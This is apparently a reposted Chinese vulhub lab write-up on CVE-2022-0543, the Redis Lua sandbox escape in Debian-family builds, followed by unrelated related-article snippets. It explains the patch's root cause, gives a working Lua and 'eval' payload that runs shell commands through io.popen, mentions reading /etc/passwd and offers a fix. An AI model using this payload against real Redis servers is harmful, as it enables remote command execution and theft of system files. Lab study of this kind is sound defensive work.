vulhub之redis篇

CVE-2022-0543 | redis的远程代码执行漏洞

简介

CVE-2022-0543 该 Redis 沙盒逃逸漏洞影响 Debian 系的 Linux 发行版本,并非 Redis 本身漏洞, 漏洞形成原因在于系统补丁加载了一些redis源码注释了的代码

原理分析

redis一直有一个攻击面,就是在用户连接redis后,可以通过eval命令执行lua脚本.但这个脚本跑在沙箱里,正常情况下无法执行命令,读取文件 所以这个CVE本质是一个沙箱绕过漏洞

Ubuntu/Debian/CentOS等这些发行版本会在原始软件的基础上打一些补丁包给Redis打了一个的补丁,增加了一个include, 下面是Debian通过shell使用make生成补丁包的源码 :

debian/lua_libs_debian.c:
    echo "// Automatically generated; do not edit." >$@
    echo "luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package);" >>$@
    set -e; for X in $(LUA_LIBS_DEBIAN_NAMES); do \
        echo "if (luaL_dostring(lua, \"$$X = require('$$X');\"))" >>$@; \
        echo "    serverLog(LL_NOTICE, \"Error loading $$X library\");" >>$@; \
    done
    echo 'luaL_dostring(lua, "module = nil; require = nil;");' >>$@

luaLoadLib(lua, LUA_LOADLIBNAME, luaopen_package)就是漏洞的来源,。

这段代码原本在redis源码里已经是被注释了的, 将其注释掉的原因就是“for sandboxing concerns”

Debian的这个补丁却把这句话重新写进去了, 导致在 Lua 沙箱中遗留了一个对象package,攻击者可以利用这个package对象提供的方法加载动态链接库 liblua 里的函数,进而逃逸沙箱执行任意命令

借助 Lua 沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在 Lua 中执行这个导出函数,即可获得io库,再使用其执行命令。

需要注意的一点是 : 不同系统下liblua5.1.so.0的路径可能不同

我们可以利用这个模块,来加载任意Lua库,最终逃逸沙箱,执行任意命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

Payload: (执行命令id可以改变)

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

一、环境启动

二、直接通过redis-cli -h 127.0.0.1 -p 6379 进入redis里面进行测试

可见执行了tac /etc/passwd命令

三、漏洞修复建议

Lua 初始化的末尾添加package=nil

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/340324.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

四、RHCE--远程连接服务器

四、RHCE--远程连接服务器 1、远程连接服务器简介2、连接加密技术简介(1)版本协商阶段(2)密钥和算法协商阶段(3)认证阶段 3、ssh服务配置4、用户登录ssh服务器 1、远程连接服务器简介 (1&#…

【21K⭐】Legado:一款免费无广且支持高度自定义的必备阅读软件

【21K⭐】Legado:一款免费无广且支持高度自定义的必备阅读软件 随着数字化时代的到来,我们的阅读方式已经发生了巨大的变化。传统的纸质书籍逐渐被电子书取代,人们越来越倾向于使用电子设备来阅读。 然而对于一个喜欢阅读网络小说的人来说&…

从编程中思考:大脑的局部与全局模式(一)

郭靖正在帐篷中用Unity写代码,刚写完一段代码。欧阳锋从帐篷外走进来,正要说点什么,郭靖反应敏捷,转身反手一招神龙摆尾击出,将欧阳锋震出帐篷,灰溜溜逃跑。 using UnityEngine;public class LocalGlobalD…

旧路由重置新路由设置新路由设置教程|适用于自动获取IP模式

前言 如果你的光猫是直接拨号(路由模式)的,就可以按照本教程进行路由重置或者更换新路由器。 本文章适合电脑小白,请注意每一步哦! 注意事项 开始之前需要确认光猫是桥接模式还是路由模式。如果光猫是路由模式&…

《二叉树》——1

目录 前言: 二叉树的链式结构 二叉树的遍历 前序遍历: 中序遍历: 后序遍历: 总结: 前言: 从本文开始,将进一步深入学习编程语言思想,从二叉树开始我们将接触许许多多的递归算…

GoLang基础

1 与其他语言相比,使用go有什么好处? 简洁易学:相比其他编程语言,Go语言具有清晰简洁的语法和规范,减少了代码的复杂性。Go语言拥有较少的关键字和一致的格式,使得代码易于编写、阅读和维护。新手可以很快…

MyBatis 的XML实现方法(JAVA)

数据库表的结构如下: DROP DATABASE IF EXISTS test; CREATE DATABASE test DEFAULT CHARACTER SET utf8mb4; -- 使⽤数据数据 USE test; -- 创建表[⽤⼾表] DROP TABLE IF EXISTS userinfo; CREATE TABLE userinfo ( id INT ( 11 ) NOT NULL AUTO_INCREMENT, user…

Vue+ElementUI渲染select下拉框

User.java /*实现getter和setter方法注解*/ Data public class User {private Integer id;private String name; } UserMapper.java Mapper public interface CommonUserMapper {/**查询所有*/List<CommonUser> selectAllCommonUser(); } UserMapper.xml <?xml …

压力容器多开孔结构静力分析APP

压力容器多开孔结构静力分析APP对带有多个接管的容器结构在内压作用下进行静力分析&#xff0c;考察相邻接管开孔对容器及接管强度的影响。通过对容器和接管的几何尺寸、材料属性、载荷等进行参数化&#xff0c;以方便设计工程师对不同参数下的此类结构进行仿真分析。 近年来&a…

常用设计模式(工厂方法,抽象工厂,责任链,装饰器模式)

前言 有关设计模式的其他常用模式请参考 单例模式的实现 常见的设计模式(模板与方法&#xff0c;观察者模式&#xff0c;策略模式) 工程方法 定义 定义一个用于创建对象的接口&#xff0c;让子类决定实例化哪一个类。Factory Method使得一个类的实例化延迟到子类。 ——《设…

【idea】idea中编译内存不足(java: java.lang.0ut0fMemoryError: Java heap space)的解决方法

问题 在编译一个较大的idea项目时候&#xff0c;有时候会显示内存不足&#xff0c;导致项目编译失败 原因 编译项目时实际也是启动了jvm进行的&#xff0c;所以需要分配对应的内存大小。 这个大小在idea中有一个默认的配置&#xff0c;大小是700M。 对于一个大型的项目这个大…

数学建模--PageRank算法的Python实现

文章目录 1. P a g e R a n k PageRank PageRank算法背景2. P a g e R a n k PageRank PageRank算法基础2.1. P a g e R a n k PageRank PageRank问题描述2.2.有向图模型2.3.随机游走模型 3. P a g e R a n k PageRank PageRank算法定义3.1. P a g e R a n k PageRank PageRank…

qml 简单变换

有3个圣诞树&#xff1a; 点击第1个圣诞树&#xff0c;每点击一次&#xff0c;向右平移10px&#xff1b; 点击第2个圣诞树&#xff0c;每点击一次&#xff0c;旋转角度增加20度&#xff1b; 点击第3个圣诞树&#xff0c;每点击一次&#xff0c;旋转角度增加20度&#xff0c;…

电脑如何pdf转图片?pdf转图片工具介绍

无论是为了共享、展示、编辑、安全保护、印刷出版、学术研究还是教育目的&#xff0c;使用电脑pdf转图片都是一种非常实用的工具和技术&#xff0c;它提供了更多的灵活性、可视化效果和安全性&#xff0c;适用于各种日常使用场景&#xff0c;那么有没有好用的pdf转图片工具推荐…

《GitHub Copilot 操作指南》课程介绍

第1节&#xff1a;GitHub Copilot 概述 一、什么是 GitHub Copilot 什么是 GitHub Copilot GitHub Copilot是GitHub与OpenAI合作开发的编程助手工具&#xff0c;利用机器学习模型生成代码建议。它集成在开发者的集成开发环境&#xff08;IDE&#xff09;中&#xff0c;可以根…

国产品牌GC6609与TM2209的参数分析,为什么适用于3D打印机,医疗器械等产品中

步进电机驱动的应用方案目前市场上大多选用国外品牌的电机驱动器&#xff0c;其中trinamic的TMC2208/2209在这一块的应用很广泛。但是由于市场越来越应激。&#xff0c;当前对于产品开发成本要求也越来越低&#xff0c;国产品地准出了相应的TMC2208/2209&#xff0c;因此trinam…

linux zabbix监控

zabbix总结 zabbix-server 10051 zabbix-agent 10050 zabbix-proxy 10051 1.监控项&#xff08;模板&#xff09;&#xff1a;获取监控数据 #模板直接链接到新的主机 2.触发器&#xff1a;设置一个值 在非合理区间报警 3.动作&#xff1a;可以帮忙发送通知&#xff08;告…

SpringBoot之文件上传

1、文件上传原理&#x1f618; 表单的enctype 属性规定在发送到服务器之前应该如何对表单数据进行编码。 当表单的enctype"application/x-www-form-urlencoded"&#xff08;默认&#xff09;时&#xff0c;form表单中的数据格式为&#xff1a;keyvalue&keyvalue …

中国电子学会2023年09月份青少年软件编程Scratch图形化等级考试试卷一级真题(含答案)

一、选择题&#xff08;共25题&#xff0c;每题2分&#xff09; 1.下列哪项内容是不可以修改的&#xff1f;&#xff08;2分&#xff09; A.角色名称 B.造型名称 C.舞台名称 D.背景名称 答案解析&#xff1a;舞台的名称无法修改&#xff0c;可以修改舞台中某一个背景的名…

ChatGPT:关于 OpenAI 的 GPT-4工具,你需要知道的一切

ChatGPT&#xff1a;关于 OpenAI 的 GPT-4工具&#xff0c;你需要知道的一切 什么是GPT-3、GPT-4 和 ChatGPT&#xff1f;ChatGPT 可以做什么&#xff1f;ChatGPT-4 可以做什么&#xff1f;ChatGPT 的费用是多少&#xff1f;GPT-4 与 GPT-3.5 有何不同&#xff1f;ChatGPT 如何…
最新文章